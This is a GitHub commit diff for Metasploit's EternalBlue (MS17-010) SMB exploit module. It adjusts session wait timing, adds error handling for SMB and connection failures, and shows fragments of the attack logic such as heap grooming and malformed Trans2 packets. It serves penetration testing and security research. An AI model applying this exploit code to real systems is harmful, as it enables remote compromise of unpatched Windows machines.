Skip to content

Commit af45c17

Browse files
committed
Tweak exception handling and timing of ms17_010_eternalblue
1 parent 78822fd commit af45c17

File tree

1 file changed

+19
-5
lines changed

1 file changed

+19
-5
lines changed

modules/exploits/windows/smb/ms17_010_eternalblue.rb

Lines changed: 19 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,8 @@ def initialize(info = {})
5959
],
6060
'DefaultOptions' =>
6161
{
62-
'EXITFUNC' => 'thread',
62+
'EXITFUNC' => 'thread',
63+
'WfsDelay' => 5,
6364
},
6465
'Privileged' => true,
6566
'Payload' =>
@@ -120,7 +121,7 @@ def exploit
120121
# we don't need this sleep, and need to find a way to remove it
121122
# problem is session_count won't increment until stage is complete :\
122123
secs = 0
123-
while !session_created? and secs < 5
124+
while !session_created? and secs < 30
124125
secs += 1
125126
sleep 1
126127
end
@@ -139,16 +140,24 @@ def exploit
139140

140141
rescue EternalBlueError => e
141142
print_error("#{e.message}")
143+
return false
144+
rescue ::RubySMB::Error::NegotiationFailure
145+
print_error("SMB Negotiation Failure -- this often occurs when lsass crashes. The target may reboot in 60 seconds.")
146+
return false
142147
rescue ::RubySMB::Error::UnexpectedStatusCode,
143148
::Errno::ECONNRESET,
144149
::Rex::HostUnreachable,
145150
::Rex::ConnectionTimeout,
146-
::Rex::ConnectionRefused => e
151+
::Rex::ConnectionRefused,
152+
::RubySMB::Error::CommunicationError => e
147153
print_error("#{e.class}: #{e.message}")
154+
report_failure
155+
return false
148156
rescue => error
149157
print_error(error.class.to_s)
150158
print_error(error.message)
151159
print_error(error.backtrace.join("\n"))
160+
return false
152161
ensure
153162
# pass
154163
end
@@ -286,14 +295,15 @@ def print_core_buffer(os)
286295
end
287296
end
288297

298+
'''
289299
#
290300
# Increase the default delay by five seconds since some kernel-mode
291301
# payloads may not run immediately.
292302
#
293303
def wfs_delay
294304
super + 5
295305
end
296-
306+
'''
297307

298308
def smb2_grooms(grooms, payload_hdr_pkt)
299309
grooms.times do |groom_id|
@@ -337,7 +347,11 @@ def smb1_large_buffer(client, tree, sock)
337347
vprint_status("Sending malformed Trans2 packets")
338348
sock.put(trans2_pkt_nulled)
339349

340-
sock.get_once
350+
begin
351+
sock.get_once
352+
rescue EOFError
353+
vprint_error("No response back from SMB echo request. Continuing anyway...")
354+
end
341355

342356
client.echo(count:1, data: "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00")
343357
end

0 commit comments

Comments
 (0)